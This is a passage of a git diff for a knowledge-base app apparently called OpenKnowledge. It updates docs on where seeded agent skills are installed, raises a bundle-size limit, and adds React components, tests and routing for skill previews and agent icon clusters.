| You're synthesizing 2+ sources into an answer | `research` | Provisional article, citations required, status:provisional |
| Team decided; this is the canonical position | `consolidate` | Writes status:canonical with supersedes chain |
-| You just want to write a note | `write` | Not every doc needs the workflow (scratch notes, project pages, runbooks) |
+| You just want to write a note | `write` | Not every doc needs the pipeline (scratch notes, project pages, runbooks) |
| You ran a one-off query and the answer's useful | Save the chat to a new doc in `research/` | Per Karpathy, good answers get filed back into the wiki as new pages; don't let them die in chat history |
**Anti-pattern: consolidating too early.** If you `consolidate` before the team has actually decided, you'll be rewriting canonical articles every week. Status `provisional` exists for a reason. Keep things in `research/` until decisions are real.
@@ -238,9 +238,9 @@ When to use each tool, and when *not* to:
| When | Do | Composes |
|---|---|---|
-| **As sources arrive** | `ingest` (30 sec per source) | MCP tool + `external-sources/.ok/` frontmatter + `clip` template + agent activity panel |
-| **Weekly** | A `research` pass to synthesize recent ingests; ask the agent to flag contradictions | `research` workflow + folder frontmatter discipline + wikilink graph |
-| **Per-decision** | `consolidate` to canonical | `consolidate` workflow + supersedes chain + `articles/` template |
+| **As sources arrive** | `ingest` (30 sec per source) | pack-skill procedure + `external-sources/.ok/` frontmatter + `clip` template + agent activity panel |
+| **Weekly** | A `research` pass to synthesize recent ingests; ask the agent to flag contradictions | `research` procedure + folder frontmatter discipline + wikilink graph |
+| **Per-decision** | `consolidate` to canonical | `consolidate` procedure + supersedes chain + `articles/` template |
| **Monthly** | *"find stale claims in `articles/`, orphans, missing cross-refs"* | `links` (orphans, dead links, backlinks) |
The compounding move: end each ingest session with one synthesis query. The answer becomes a `research/` doc. The wiki grows.
diff --git a/docs/content/workflows/plain-notes.mdx b/docs/content/workflows/plain-notes.mdx
index 2fb7fdc73..1816ff374 100644
--- a/docs/content/workflows/plain-notes.mdx
+++ b/docs/content/workflows/plain-notes.mdx
@@ -70,7 +70,7 @@ ok seed --pack plain-notes
The pack creates `notes/` and `daily/` at the project root (no subfolder), each with its `.ok/frontmatter.yml` guidance and template. That's the whole footprint — minimal on purpose.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack plain-notes` installs the **Plain notes** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance that gives the agent the linking habit and the daily-chain behavior — read automatically, and editable like any other doc. It lands as a real `SKILL.md` committed to your repo under `.ok/skills/`, symlinked into each detected editor. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack plain-notes` installs the **Plain notes** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance that gives the agent the linking habit and the daily-chain behavior — read automatically, and editable like any other doc. It lands as a real `SKILL.md` committed to your repo in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's), copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## Cadence
diff --git a/docs/content/workflows/software-lifecycle.mdx b/docs/content/workflows/software-lifecycle.mdx
index dce817c61..b5033be33 100644
--- a/docs/content/workflows/software-lifecycle.mdx
+++ b/docs/content/workflows/software-lifecycle.mdx
@@ -92,7 +92,7 @@ your-project/
Each folder carries an `.ok/frontmatter.yml` description the agent reads on every directory listing, plus its templates under `.ok/templates/`. That description is where the workflow lives — so the agent knows an accepted proposal graduates to `decisions/`, that ADRs freeze once accepted, and that a new decision superseding an old one links back via `Supersedes:`.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack software-lifecycle` installs the **Software lifecycle** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the behaviors below — the status flows, the `Supersedes:` scanning, the postmortem follow-ups — read automatically, and editable like any other doc. It lands as a real `SKILL.md` in your repo under `.ok/skills/`, symlinked into each editor's skills directory. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack software-lifecycle` installs the **Software lifecycle** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the behaviors below — the status flows, the `Supersedes:` scanning, the postmortem follow-ups — read automatically, and editable like any other doc. It lands as a real `SKILL.md` in your repo, in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's), copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## What the agent does for you
diff --git a/docs/content/workflows/worldbuilding.mdx b/docs/content/workflows/worldbuilding.mdx
index 77a890821..9eca6bb91 100644
--- a/docs/content/workflows/worldbuilding.mdx
+++ b/docs/content/workflows/worldbuilding.mdx
@@ -88,7 +88,7 @@ your-project/
Each folder's `.ok/frontmatter.yml` teaches the agent that entity type and what belongs there, so the guidance never clutters the entries themselves.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack worldbuilding` installs the **Worldbuilding** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the auto-stub and contradiction-flagging behaviors — read automatically, and editable like any other doc. It lands as one real `SKILL.md` under `.ok/skills/`, committed to your repo and symlinked into each set-up editor's skills folder. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack worldbuilding` installs the **Worldbuilding** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the auto-stub and contradiction-flagging behaviors — read automatically, and editable like any other doc. It lands as one real `SKILL.md` in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's), committed to your repo and copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## Cadence
diff --git a/docs/content/workflows/writing-pipeline.mdx b/docs/content/workflows/writing-pipeline.mdx
index 8d27f21ea..059daa079 100644
--- a/docs/content/workflows/writing-pipeline.mdx
+++ b/docs/content/workflows/writing-pipeline.mdx
@@ -86,7 +86,7 @@ your-project/
Each folder carries its `.ok/frontmatter.yml` guidance and templates. If a draft needs research notes, the agent creates `drafts/<slug>/research/` on demand rather than cluttering the top level.
<Callout type="info" title="Seeding also installs a skill">
- `ok seed --pack writing-pipeline` installs the **Writing pipeline** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the behaviors below — the stage promotions, the idle-draft nudges, the publish-time URL fill — read automatically, and editable like any other doc. It lands as a single `SKILL.md` under `.ok/skills/`, committed to your repo and symlinked into each detected editor's skills directory. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
+ `ok seed --pack writing-pipeline` installs the **Writing pipeline** project skill into your agent editors (Claude Code, Cursor, Codex, OpenCode). It's the "how to work here" guidance behind the behaviors below — the stage promotions, the idle-draft nudges, the publish-time URL fill — read automatically, and editable like any other doc. It lands as a single `SKILL.md` in your project's skills directory (`.agents/skills/` when you have one, otherwise your editor's), committed to your repo and copied into the skills directory of each editor already set up for the project. The copies refresh from the source until you hand-edit one. See [Skills](../features/skills.mdx) and [what OpenKnowledge writes to disk](../reference/what-open-knowledge-writes.mdx).
</Callout>
## What the agent does for you
diff --git a/packages/app/BUNDLE-SIZE.md b/packages/app/BUNDLE-SIZE.md
index 8031ab122..3e54bd974 100644
--- a/packages/app/BUNDLE-SIZE.md
+++ b/packages/app/BUNDLE-SIZE.md
@@ -48,3 +48,7 @@ Merged the in-app feedback form onto these post-toolchain limits: main-app 482->
Windows/Linux desktop port stacked on this: the win/linux-only AppMenubar (and its radix Menubar primitive) is lazy-loaded behind the app-menubar-gate predicate so web + macOS never download its chunk; the residual eager weight is the gate + lazy() glue plus the pty-capability gating in EditorPane/SettingsDialogShell, absorbed under the current limits with no reclaimable source beyond the pre-existing lazy-load levers above.
Combined-chunks limit raised 3.6->3.61 MB for the div/center align-wrapper rendering (div-align promoter + HtmlAlignBlock descriptor/renderer; measured 170 B over the combined budget, main bundle unaffected at 485 kB) — the PropertyPanel/TerminalDock/BottomComposer lazy-load levers above remain the reclamation path.
+
+Merged the skills-marketplace branch (in-place skill model, location menus, folder verbs, MCP location parity) onto these post-toolchain limits; both feature sets stack and CI size-limit verifies the true merged numbers. Combined-chunks 3.61->3.7 MB after two catch-up merges of main into this branch (post-stable v0.41.3 and v0.41.4) stacked on the divergent-same-name-skill rows, the per-location convert verb, and the regrouped folders panel — CI measured 3.65 MB (53.55 kB over 3.6); the main app bundle is unaffected at 377 kB against its 485 kB limit, so the growth is lazy-chunk and concurrent-main weight rather than eager, and the PropertyPanel/TerminalDock/BottomComposer lazy-load levers above remain the reclamation path.
+
+Combined-chunks 3.7->3.72 MB after merging main (in-doc comments: CommentedDocProvider / PropertyCommentButton / the comment queue + margin rail, plus the derived-index `onDocumentSettled` hook) into the skills-marketplace branch. CI measured 4.14 kB over 3.7 MB; both feature sets stack and neither is the single source. The main app bundle is unaffected at 395 kB against its 485 kB limit and CSS at 8.4 kB against 59 kB, so the growth is lazy-chunk weight rather than eager — the PropertyPanel/TerminalDock/BottomComposer lazy-load levers above remain the reclamation path.
diff --git a/packages/app/package.json b/packages/app/package.json
index 9162acb29..d939628cc 100644
--- a/packages/app/package.json
+++ b/packages/app/package.json
@@ -52,7 +52,7 @@
{
"name": "all JS chunks combined (gzipped)",
"path": "dist/assets/*.js",
- "limit": "3.7 MB",
+ "limit": "3.72 MB",
"gzip": true,
"running": false
},
diff --git a/packages/app/src/App.tsx b/packages/app/src/App.tsx
index 22e679431..6a25f3b35 100644
--- a/packages/app/src/App.tsx
+++ b/packages/app/src/App.tsx
@@ -47,6 +47,8 @@ import {
markCurrentHashHistoryEntry,
replaceHashWithoutNavigation,
skillFileFromHash,
+ skillPreviewFromHash,
+ skillsFromHash,
} from '@/lib/doc-hash';
import { subscribeLocalMenuAction } from '@/lib/local-menu-action-bus';
import { isOverlayLayerOpen } from '@/lib/overlay-layers';
@@ -234,10 +236,33 @@ function NavigationHandler() {
mark('ok/nav/hash-change', { docName: null, kind: 'skill-file' });
openHashTarget({
kind: 'skill-file',
- target: `${skillFile.scope}/${skillFile.name}/${skillFile.path}`,
+ // Host is part of the tab identity — two same-named skills in
+ // different host dirs must not share a tab.
+ target: `${skillFile.scope}/${skillFile.name}${skillFile.host ? `:${skillFile.host}` : ''}/${skillFile.path}`,
scope: skillFile.scope,
name: skillFile.name,
path: skillFile.path,
+ ...(skillFile.host ? { host: skillFile.host } : {}),
+ });
+ return;
+ }
+ if (skillsFromHash(window.location.hash)) {
+ mark('ok/nav/hash-change', { docName: null, kind: 'skills' });
+ openTargetTransition({ kind: 'skills', target: 'skills' });
+ return;
+ }
+ const skillPreview = skillPreviewFromHash(window.location.hash);
+ if (skillPreview) {
+ mark('ok/nav/hash-change', { docName: null, kind: 'skill-preview' });
+ openTargetTransition({
+ kind: 'skill-preview',
+ target: `${skillPreview.flavor}/${skillPreview.source}/${skillPreview.name}`,
+ flavor: skillPreview.flavor,
+ source: skillPreview.source,
+ name: skillPreview.name,
+ subtitle: skillPreview.subtitle,
+ level: skillPreview.level,
+ path: skillPreview.path,
});
return;
}
diff --git a/packages/app/src/components/AddPropertiesButton.tsx b/packages/app/src/components/AddPropertiesButton.tsx
new file mode 100644
index 000000000..93ed3de89
--- /dev/null
+++ b/packages/app/src/components/AddPropertiesButton.tsx
@@ -0,0 +1,40 @@
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ListPlus } from 'lucide-react';
+import { Button } from '@/components/ui/button.tsx';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+
+/**
+ * Toolbar "Add properties" affordance. PropertyPanel only mounts in WYSIWYG mode
+ * (gated in EditorActivityPool), so callers hide this in source mode — clicking
+ * it there would fire a CustomEvent with no listener (an unresponsive-UI no-op).
+ * Source-mode users edit frontmatter directly in the CodeMirror YAML.
+ */
+export function AddPropertiesButton({
+ onAddProperty,
+ className,
+}: {
+ onAddProperty: () => void;
+ className?: string;
+}) {
+ const { t } = useLingui();
+ return (
+ <Tooltip>
+ <Button
+ variant="ghost"
+ size="icon"
+ aria-label={t`Add properties`}
+ onClick={onAddProperty}
+ data-testid="add-properties-button"
+ className={className}
+ asChild
+ >
+ <TooltipTrigger>
+ <ListPlus />
+ </TooltipTrigger>
+ </Button>
+ <TooltipContent side="bottom">
+ <Trans>Add properties</Trans>
+ </TooltipContent>
+ </Tooltip>
+ );
+}
diff --git a/packages/app/src/components/AgentIconCluster.dom.test.tsx b/packages/app/src/components/AgentIconCluster.dom.test.tsx
new file mode 100644
index 000000000..9418f61a8
--- /dev/null
+++ b/packages/app/src/components/AgentIconCluster.dom.test.tsx
@@ -0,0 +1,50 @@
+/**
+ * the install-target brand marks must name themselves (they were
+ * unidentifiable at rest) and the "+N" overflow must list the extra locations,
+ * not be an opaque count. This asserts the label mapping + overflow slicing on
+ * the rendered cluster (each shown icon carries its host label as an accessible
+ * name; the "+N" reflects the remainder). The Radix Tooltip hover/portal itself
+ * isn't exercised — jsdom can't, and the label wiring is the regression risk.
+ * Runs under jsdom via `test:dom`.
+ */
+import { render, screen } from '@testing-library/react';
+import { afterEach, describe, expect, test } from 'vitest';
+import { TooltipProvider } from '@/components/ui/tooltip';
+import { AgentIconCluster } from './AgentIconCluster.tsx';
+
+function renderCluster(hosts: string[]) {
+ return render(
+ <TooltipProvider>
+ <AgentIconCluster hosts={hosts} />
+ </TooltipProvider>,
+ );
+}
+
+describe('AgentIconCluster — labeled marks + "+N" list (PRD-7606)', () => {
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ test('each shown mark carries its host label as an accessible name', () => {
+ renderCluster(['claude', 'cursor']);
+ // Editor ids resolve to their display label (from EDITOR_LABELS).
+ expect(screen.getByLabelText('Claude')).toBeTruthy();
+ expect(screen.getByLabelText('Cursor')).toBeTruthy();
+ });
+
+ test('the .agents hub mark reads ".agents", not the raw id', () => {
+ renderCluster(['agents']);
+ expect(screen.getByLabelText('.agents')).toBeTruthy();
+ });
+
+ test('more than the cap collapses the remainder into "+N"', () => {
+ // cap is 2 → 4 hosts leaves +2.
+ renderCluster(['claude', 'cursor', 'codex', 'opencode']);
+ expect(screen.getByText('+2')).toBeTruthy();
+ });
+
+ test('at or below the cap shows no overflow', () => {
+ renderCluster(['claude', 'cursor']);
+ expect(screen.queryByText(/^\+\d/)).toBeNull();
+ });
+});
diff --git a/packages/app/src/components/AgentIconCluster.tsx b/packages/app/src/components/AgentIconCluster.tsx
new file mode 100644
index 000000000..a7cfe1db5
--- /dev/null
+++ b/packages/app/src/components/AgentIconCluster.tsx
@@ -0,0 +1,124 @@
+/**
+ * Shared agent brand-icon primitives for skill install/detect surfaces. One place
+ * owns (a) the host-id → `TargetIcon`-id mapping, (b) the "+N" overflow cap, and
+ * (c) the React cluster component, so every surface that shows "which agents" —
+ * the editor toolbar badge, the sidebar's hidden icon pool, the sidebar injector —
+ * draws the marks identically instead of re-deriving them.
+ */
+
+import { EDITOR_LABELS } from '@inkeep/open-knowledge-core';
+import { Folder, Sparkles } from 'lucide-react';
+import type { SVGProps } from 'react';
+import { TargetIcon } from '@/components/handoff/OpenInAgentMenuItem';
+import { OkBlob } from '@/components/OkBlob';
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
+import { cn } from '@/lib/utils';
+
+type TargetIconId = Parameters<typeof TargetIcon>[0]['id'];
+
+/**
+ * Human-readable label for an install-host id, so the cluster's icons and its
+ * "+N" overflow can name themselves in a tooltip (the brand marks are
+ * unidentifiable at rest — nobody could tell the `.agents` mark from a plugin).
+ * Editor ids map to their display name; the vendor-neutral hub reads `.agents`;
+ * custom-root hosts ARE paths and show verbatim.
+ */
+function hostLabel(host: string): string {
+ if (host === 'agents' || host === '.agents' || host.startsWith('.agents/')) return '.agents';
+ if (host.includes('/')) return host;
+ return (EDITOR_LABELS as Record<string, string>)[host] ?? host;
+}
+
+/** Max brand icons shown before the rest collapse into a "+N" overflow. Shared by
+ * the React cluster AND the sidebar's imperative shadow-DOM cluster so both
+ * surfaces overflow at the same count. */
+export const AGENT_CLUSTER_MAX = 2;
+
+/**
+ * Map a skill install-host / detected-harness id to its `TargetIcon` id. The only
+ * divergence is `claude` → `claude-code` (the install-verb id vs. the handoff
+ * target id); every other id (`cursor`, `codex`, `copilot`, `opencode`, `pi`)
+ * passes straight through. Unknown ids pass through too and `TargetIcon` renders
+ * nothing for them (graceful no-op).
+ */
+function targetIconIdForHost(host: string): TargetIconId {
+ return (host === 'claude' ? 'claude-code' : host) as TargetIconId;
+}
+
+/** A single agent brand mark in real brand color — thin wrapper over `TargetIcon`
+ * with the host-id mapping applied. Reused by the sidebar's clone pool. `id` is
+ * derived from `host`, so the spread comes first and the mapped id wins. */
+export function AgentBrandIcon({
+ host,
+ ...props
+}: { host: string } & Omit<SVGProps<SVGSVGElement>, 'id'>) {
+ // The vendor-neutral `.agents/skills` hub is a first-class skill host with no
+ // brand — a neutral mark, not an invisible one (dropping it made a hub-hosted
+ // skill read as belonging to whichever editor copy happened to exist).
+ if (host === 'agents') return <Sparkles {...props} />;
+ // Custom-root host ids ARE paths (they contain '/'): the `.ok` home renders
+ // the OK blob, any other custom root the neutral folder — matching the
+ // install menu's row icons so the pill cluster can carry every location.
+ if (host.includes('/')) {
+ if (host === '.agents' || host.startsWith('.agents/')) return <Sparkles {...props} />;
+ if (host === '.ok' || host.startsWith('.ok/')) {
+ const { className: _className, ...rest } = props;
+ return <OkBlob size={14} {...(rest as Record<string, unknown>)} />;
+ }
+ return <Folder {...props} />;
+ }
+ return <TargetIcon {...props} id={targetIconIdForHost(host)} />;
+}
+
+/**
+ * A horizontal cluster of agent brand icons (real brand colors via `TargetIcon`),
+ * capped at {@link AGENT_CLUSTER_MAX} with a "+N" overflow. Reused wherever a
+ * skill's install/detect targets render in a React tree (the editor toolbar badge
+ * today).
+ *
+ * The sidebar rows can't render this component — they live in Pierre's
+ * style-isolated shadow root — but they share the same mapping + cap via the
+ * exports above (see `skill-install-cluster.ts`).
+ */
+export function AgentIconCluster({
+ hosts,
+ className,
+ iconClassName,
+}: {
+ hosts: readonly string[];
+ className?: string;
+ iconClassName?: string;
+}) {
+ const shown = hosts.slice(0, AGENT_CLUSTER_MAX);
+ const overflowHosts = hosts.slice(AGENT_CLUSTER_MAX);
+ return (
+ <span className={cn('flex items-center gap-1', className)}>
+ {shown.map((host) => (
+ // Radix Tooltip (not native `title`) so the mark names itself even when
+ // the window isn't focused, which native tooltips fail to do.
+ <Tooltip key={host}>
+ <TooltipTrigger asChild>
+ <span className="flex shrink-0 items-center">
+ <AgentBrandIcon
+ host={host}
+ className={cn('size-3.5 shrink-0', iconClassName)}
+ aria-label={hostLabel(host)}
+ />
+ </span>
+ </TooltipTrigger>
+ <TooltipContent>{hostLabel(host)}</TooltipContent>
+ </Tooltip>
+ ))}
+ {overflowHosts.length > 0 ? (
+ // The "+N" now lists the extra install locations instead of being an
+ // opaque count.
+ <Tooltip>
+ <TooltipTrigger asChild>
+ <span className="ml-0.5 cursor-default">+{overflowHosts.length}</span>
+ </TooltipTrigger>
+ <TooltipContent>{overflowHosts.map(hostLabel).join(', ')}</TooltipContent>
+ </Tooltip>
+ ) : null}
+ </span>
+ );
+}
diff --git a/packages/app/src/components/AppMenubar.tsx b/packages/app/src/components/AppMenubar.tsx
index 99626b75d..bb707a924 100644
--- a/packages/app/src/components/AppMenubar.tsx
+++ b/packages/app/src/components/AppMenubar.tsx
@@ -316,7 +316,7 @@ export function AppMenubar() {
checked={view?.showSkillsSection ?? true}
onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-show-skills-section' })}
>
- {t`Show skills section`}
+ {t`Skills section`}
</MenubarCheckboxItem>
<MenubarSeparator />
{(view?.canExpandAll ?? true) && (
diff --git a/packages/app/src/components/ChangedOutsideBadge.tsx b/packages/app/src/components/ChangedOutsideBadge.tsx
new file mode 100644
index 000000000..bb6cea369
--- /dev/null
+++ b/packages/app/src/components/ChangedOutsideBadge.tsx
@@ -0,0 +1,33 @@
+import { Trans } from '@lingui/react/macro';
+import type { ReactNode } from 'react';
+
+/**
+ * The "changed outside" chip.
+ *
+ * Passive disclosure: something outside OK rewrote this path's form since OK
+ * last wrote it. There is no action attached — OK only writes on an explicit
+ * click, and the surrounding rows always show what is on disk now.
+ *
+ * The wrapper is the caller's, deliberately: the install menu explains itself
+ * through a Radix tooltip (native `title` does not render while the window is
+ * unfocused, which is exactly when someone reads that menu), while the settings
+ * folder rows use a plain `title`. Converging those is a UX decision, not a
+ * consequence of sharing the chip.
+ */
+export function ChangedOutsideBadge({
+ testId,
+ title,
+}: {
+ testId: string;
+ title?: string;
+}): ReactNode {
+ return (
+ <span
+ className="inline-flex h-5 shrink-0 items-center rounded border border-yellow-500/40 bg-yellow-500/10 px-1 text-[10px] text-yellow-600 uppercase tracking-wide"
+ data-testid={testId}
+ {...(title !== undefined ? { title } : {})}
+ >
+ <Trans>changed outside</Trans>
+ </span>
+ );
+}
diff --git a/packages/app/src/components/CommandPalette.tsx b/packages/app/src/components/CommandPalette.tsx
index c398bb88e..5cc4d833a 100644
--- a/packages/app/src/components/CommandPalette.tsx
+++ b/packages/app/src/components/CommandPalette.tsx
@@ -76,6 +76,7 @@ import {
import { Kbd } from '@/components/ui/kbd';
import { useDocumentContext } from '@/editor/DocumentContext';
import type { TagSummaryEntry } from '@/editor/extensions/tag-suggestion';
+import { useCreateBlankSkill } from '@/hooks/use-create-blank-skill';
import { useIsEmbedded } from '@/hooks/use-is-embedded';
import { useSemanticSearchStatus } from '@/hooks/use-semantic-search-status';
import { useWorktrees } from '@/hooks/use-worktrees';
@@ -360,6 +361,7 @@ export function CommandPalette({ bridge = null, open, onOpenChange }: CommandPal
// chunk + the `bugReport.list()` fetch don't run on every palette open.
const [historyEverOpened, setHistoryEverOpened] = useState(false);
const [feedbackOpen, setFeedbackOpen] = useState(false);
+ const { createBlank: createBlankSkill } = useCreateBlankSkill();
// Tag-mode state. Loaded lazily on first `tag:` keystroke; cached for
// the lifetime of the palette session (cleared on close in the open-
// toggle effect). Loading flag drives the `tag-list` placeholder UI;
@@ -914,6 +916,7 @@ export function CommandPalette({ bridge = null, open, onOpenChange }: CommandPal
setReportBugHistoryOpen(true);
},
openFeedbackDialog: () => setFeedbackOpen(true),
+ createBlankSkill: () => void createBlankSkill('project'),
};
const visibleFixedCommands = inExclusiveMode
? []
diff --git a/packages/app/src/components/CreatedItemsList.tsx b/packages/app/src/components/CreatedItemsList.tsx
index 4e9de2082..f247bf2c3 100644
--- a/packages/app/src/components/CreatedItemsList.tsx
+++ b/packages/app/src/components/CreatedItemsList.tsx
@@ -103,7 +103,7 @@ export function CreatedItemsList({
const { t } = useLingui();
const folders = describeFolderCards(plan, selectedPack);
const files = describeFileCards(plan);
- const skill = plan.packSkill?.pending ? plan.packSkill : undefined;
+ const pendingSkills = (plan.packSkills ?? []).filter((s) => s.pending);
// Derive the counts straight from the rows so the summary line always
// matches what's rendered. Counting `plan.created` directly diverged in
// subfolder mode, where the plan also creates the parent folder (e.g.
@@ -111,7 +111,7 @@ export function CreatedItemsList({
const folderCount = folders.length;
const fileCount = files.length;
const templateCount = folders.reduce((sum, f) => sum + f.templateCount, 0);
- const skillCount = skill ? 1 : 0;
+ const skillCount = pendingSkills.length;
// One-line blurbs for the reserved root files, grounded in each file's
// frontmatter `description` (authored in `packs`' `rootFiles`, server-side).
@@ -189,20 +189,16 @@ export function CreatedItemsList({
title: file.name,
description: fileDescriptions[file.name],
}));
- const skillRows: PreviewRow[] = skill
- ? [
- {
- key: `skill:${skill.name}`,
- icon: Hexagon,
- // Drop the shared `open-knowledge-pack-` prefix (identical across
- // packs, non-distinguishing) so the name reads + fits; full name
- // stays on hover.
- name: skillDisplayName(skill.name),
- title: skill.name,
- description: t`Guides your AI agents on how to work here.`,
- },
- ]
- : [];
+ const skillRows: PreviewRow[] = pendingSkills.map((skill) => ({
+ key: `skill:${skill.name}`,
+ icon: Hexagon,
+ // Drop the shared `open-knowledge-pack-` prefix (identical across
+ // packs, non-distinguishing) so the name reads + fits; full name
+ // stays on hover.
+ name: skillDisplayName(skill.name),
+ title: skill.name,
+ description: t`Guides your AI agents on how to work here.`,
+ }));
// Ordered, non-empty sections. Labels pluralize with their own count so a
// single item reads "Skill" / "File", not "Skills" / "Files".
@@ -218,10 +214,8 @@ export function CreatedItemsList({
rows: fileRows,
},
{
- // Only ever 0 or 1 pack skill, so no plural arm (the section is hidden
- // when empty; when shown it's always exactly one).
key: 'skill',
- label: t`Skill`,
+ label: t`${plural(skillRows.length, { one: 'Skill', other: 'Skills' })}`,
rows: skillRows,
},
].filter((s) => s.rows.length > 0);
diff --git a/packages/app/src/components/EditorArea.dom.test.tsx b/packages/app/src/components/EditorArea.dom.test.tsx
index 5c48f304a..3887cb320 100644
--- a/packages/app/src/components/EditorArea.dom.test.tsx
+++ b/packages/app/src/components/EditorArea.dom.test.tsx
@@ -92,6 +92,9 @@ let docCtx:
vi.doMock('@/editor/DocumentContext', () => ({
useDocumentContext: () => docCtx,
useDocumentTransition: () => ({ openDocumentTransition: null }),
+ // EditorArea imports isSkillsNewTabId; keep it in the partial mock so the
+ // module link can't detonate on load-order (see mock-module-completeness).
+ isSkillsNewTabId: () => false,
}));
vi.doMock('@/components/EmptyEditorState', () => ({
diff --git a/packages/app/src/components/EditorArea.share-receive-miss.dom.test.tsx b/packages/app/src/components/EditorArea.share-receive-miss.dom.test.tsx
index daf102364..3cd166bba 100644
--- a/packages/app/src/components/EditorArea.share-receive-miss.dom.test.tsx
+++ b/packages/app/src/components/EditorArea.share-receive-miss.dom.test.tsx
@@ -29,6 +29,9 @@ vi.doMock('@/components/PropertyContext', () => ({
vi.doMock('@/editor/DocumentContext', () => ({
useDocumentContext: () => docCtx,
useDocumentTransition: () => ({ openDocumentTransition: null }),
+ // EditorArea imports isSkillsNewTabId; keep it in the partial mock so the
+ // module link can't detonate on load-order (see mock-module-completeness).
+ isSkillsNewTabId: () => false,
}));
vi.doMock('@/hooks/use-document-stats', () => ({ useDocumentStats: () => null }));
vi.doMock('@/hooks/use-selection-stats', () => ({ useSelectionStats: () => null }));
diff --git a/packages/app/src/components/EditorArea.tsx b/packages/app/src/components/EditorArea.tsx
index 6002494b4..9f3f12fb4 100644
--- a/packages/app/src/components/EditorArea.tsx
+++ b/packages/app/src/components/EditorArea.tsx
@@ -2,6 +2,7 @@ import {
detectEmbeddedHostFromBrowser,
isFrontmatterSchemaAsset,
isMarkdownlintJsonConfig,
+ parseExternalSkillDocName,
} from '@inkeep/open-knowledge-core';
import { Trans, useLingui } from '@lingui/react/macro';
import { useTheme } from 'next-themes';
@@ -31,9 +32,15 @@ import { MountStalledAffordance } from '@/components/MountStalledAffordance';
import { PropertyProvider, useProperties } from '@/components/PropertyContext';
import { ShareReceiveMissPanel } from '@/components/ShareReceiveMissPanel';
import { SkillFileViewer } from '@/components/SkillFileViewer';
+import { SkillPreviewTab } from '@/components/SkillPreviewTab';
+import { SkillsBasePage } from '@/components/SkillsBasePage';
import { SettingsDialogShell } from '@/components/settings/SettingsDialogShell';
import { ResizableHandle, ResizablePanel, ResizablePanelGroup } from '@/components/ui/resizable';
-import { useDocumentContext, useDocumentTransition } from '@/editor/DocumentContext';
+import {
+ isSkillsNewTabId,
+ useDocumentContext,
+ useDocumentTransition,
+} from '@/editor/DocumentContext';
import { FindReplaceController } from '@/editor/find-replace/FindReplaceController';
import { mountPromiseHasResolved } from '@/editor/mount-promise';
import { syncPromiseHasResolved } from '@/editor/sync-promise';
@@ -82,6 +89,12 @@ const LazyActivityModeContent = lazy(async () => {
return { default: mod.ActivityModeContent };
});
+// The edit-in-place banner only mounts for a detected-skill buffer, so keep it
+// (and the Manage-adopt flow it pulls in) out of the eager editor bundle.
+const SkillEditBanner = lazy(async () => ({
+ default: (await import('@/components/SkillEditBanner')).SkillEditBanner,
+}));
+
// The two config-file editors render only when a `.markdownlint.*` or
// `*.schema.json` file is opened — rare next to ordinary document editing — so
// they stay out of the main chunk rather than loading for every session.
@@ -258,6 +271,8 @@ function EditorAreaInner({
activeDocName,
activeProvider,
activeTarget,
+ activeNewTabId,
+ skillsSidebar,
recycleDocument,
docPanelMode,
docPanelAgentId,
@@ -967,10 +982,29 @@ function EditorAreaInner({
// coordinates so navigating between bundle files re-fetches.
viewContent = (
<SkillFileViewer
- key={`${activeTarget.scope}/${activeTarget.name}/${activeTarget.path}`}
+ key={`${activeTarget.scope}/${activeTarget.name}/${activeTarget.host ?? ''}/${activeTarget.path}`}
scope={activeTarget.scope}
name={activeTarget.name}
path={activeTarget.path}
+ host={activeTarget.host}
+ />
+ );
+ } else if (activeTarget?.kind === 'skill-preview') {
+ // A pre-install, read-only skill preview opened full-pane with a Manage action.
+ // Keyed by the preview's identity so navigating between previews remounts a
+ // fresh instance — otherwise the per-skill `detail` state (skills.sh URL, OG
+ // image) bleeds across tabs and a switched-back preview shows the prior
+ // skill's link. Same reset pattern as AssetPreview / SkillFileViewer above.
+ viewContent = (
+ <SkillPreviewTab
+ key={`${activeTarget.flavor}:${activeTarget.source}:${activeTarget.name}:${activeTarget.level ?? ''}`}
+ flavor={activeTarget.flavor}
+ source={activeTarget.source}
+ name={activeTarget.name}
+ subtitle={activeTarget.subtitle}
+ level={activeTarget.level}
+ path={activeTarget.path}
+ reserveRightGutter={rightRevealTabPresent}
/>
);
} else if (shareReceiveMiss) {
@@ -1036,6 +1070,15 @@ function EditorAreaInner({
